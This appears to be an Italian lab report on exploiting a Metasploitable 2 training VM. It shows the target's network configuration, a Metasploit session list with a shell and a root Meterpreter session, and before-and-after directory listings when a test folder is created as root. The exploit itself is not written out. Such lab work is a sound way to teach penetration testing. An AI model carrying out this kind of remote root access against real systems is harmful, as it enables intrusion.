Configurazione IP macchina metasploitable 2

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:2f:eb:fd brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe2f:ebfd/64 scope link
       valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Risultato dell'attacco senza la cartella "test_metasploit"

```
Active sessions
===============

  Id  Name  Type                   Information                      Connection
  --  ----  ----                   -----------                      ----------
  1         shell cmd/unix                                          192.168.1.30:32859 → 192.168.1.149:6200 (192.168.1.149)
  2         meterpreter x86/linux  root @ metasploitable.localdomain  192.168.1.30:4433 → 192.168.1.149:50936 (192.168.1.149)

msf6 > sessions 2
[*] Starting interaction with 2...

meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040755/rwxr-xr-x  4096     dir   2012-05-13 23:35:33 -0400  bin
040755/rwxr-xr-x  1024     dir   2012-05-13 23:36:28 -0400  boot
040755/rwxr-xr-x  4096     dir   2010-03-16 18:55:51 -0400  cdrom
040755/rwxr-xr-x  13520    dir   2025-05-12 10:54:27 -0400  dev
040755/rwxr-xr-x  4096     dir   2025-05-12 10:54:32 -0400  etc
040755/rwxr-xr-x  4096     dir   2010-04-16 02:16:02 -0400  home
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:40 -0400  initrd
100644/rw-r--r--  7929183  fil   2012-05-13 23:35:56 -0400  initrd.img
040755/rwxr-xr-x  4096     dir   2012-05-13 23:35:22 -0400  lib
040700/rwx------  16384    dir   2010-03-16 18:55:15 -0400  lost+found
040755/rwxr-xr-x  4096     dir   2010-03-16 18:55:52 -0400  media
040755/rwxr-xr-x  4096     dir   2010-04-28 16:16:56 -0400  mnt
100600/rw-------  15915    fil   2025-05-12 10:54:53 -0400  nohup.out
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:39 -0400  opt
040555/r-xr-xr-x  0        dir   2025-05-12 10:54:19 -0400  proc
040755/rwxr-xr-x  4096     dir   2025-05-12 10:54:53 -0400  root
040755/rwxr-xr-x  4096     dir   2012-05-13 21:54:53 -0400  sbin
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:38 -0400  srv
040755/rwxr-xr-x  0        dir   2025-05-12 10:54:19 -0400  sys
041777/rwxrwxrwx  4096     dir   2025-05-12 11:40:34 -0400  tmp
040755/rwxr-xr-x  4096     dir   2010-04-28 00:06:37 -0400  usr
040755/rwxr-xr-x  4096     dir   2010-03-17 10:08:23 -0400  var
100644/rw-r--r--  1987288  fil   2008-04-10 12:55:41 -0400  vmlinuz
```

Risultato con la cartella "test_metasploit" creata.

```
meterpreter > mkdir /test_metasploit
Creating directory: /test_metasploit
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040755/rwxr-xr-x  4096     dir   2012-05-13 23:35:33 -0400  bin
040755/rwxr-xr-x  1024     dir   2012-05-13 23:36:28 -0400  boot
040755/rwxr-xr-x  4096     dir   2010-03-16 18:55:51 -0400  cdrom
040755/rwxr-xr-x  13520    dir   2025-05-12 10:54:27 -0400  dev
040755/rwxr-xr-x  4096     dir   2025-05-12 10:54:32 -0400  etc
040755/rwxr-xr-x  4096     dir   2010-04-16 02:16:02 -0400  home
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:40 -0400  initrd
100644/rw-r--r--  7929183  fil   2012-05-13 23:35:56 -0400  initrd.img
040755/rwxr-xr-x  4096     dir   2012-05-13 23:35:22 -0400  lib
040700/rwx------  16384    dir   2010-03-16 18:55:15 -0400  lost+found
040755/rwxr-xr-x  4096     dir   2010-03-16 18:55:52 -0400  media
040755/rwxr-xr-x  4096     dir   2010-04-28 16:16:56 -0400  mnt
100600/rw-------  15915    fil   2025-05-12 10:54:53 -0400  nohup.out
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:39 -0400  opt
040555/r-xr-xr-x  0        dir   2025-05-12 10:54:19 -0400  proc
040755/rwxr-xr-x  4096     dir   2025-05-12 10:54:53 -0400  root
040755/rwxr-xr-x  4096     dir   2012-05-13 21:54:53 -0400  sbin
040755/rwxr-xr-x  4096     dir   2010-03-16 18:57:38 -0400  srv
040755/rwxr-xr-x  0        dir   2025-05-12 10:54:19 -0400  sys
040700/rwx------  4096     dir   2025-05-12 11:46:05 -0400  test_metasploit
041777/rwxrwxrwx  4096     dir   2025-05-12 11:40:34 -0400  tmp
040755/rwxr-xr-x  4096     dir   2010-04-28 00:06:37 -0400  usr
040755/rwxr-xr-x  4096     dir   2010-03-17 10:08:23 -0400  var
100644/rw-r--r--  1987288  fil   2008-04-10 12:55:41 -0400  vmlinuz
```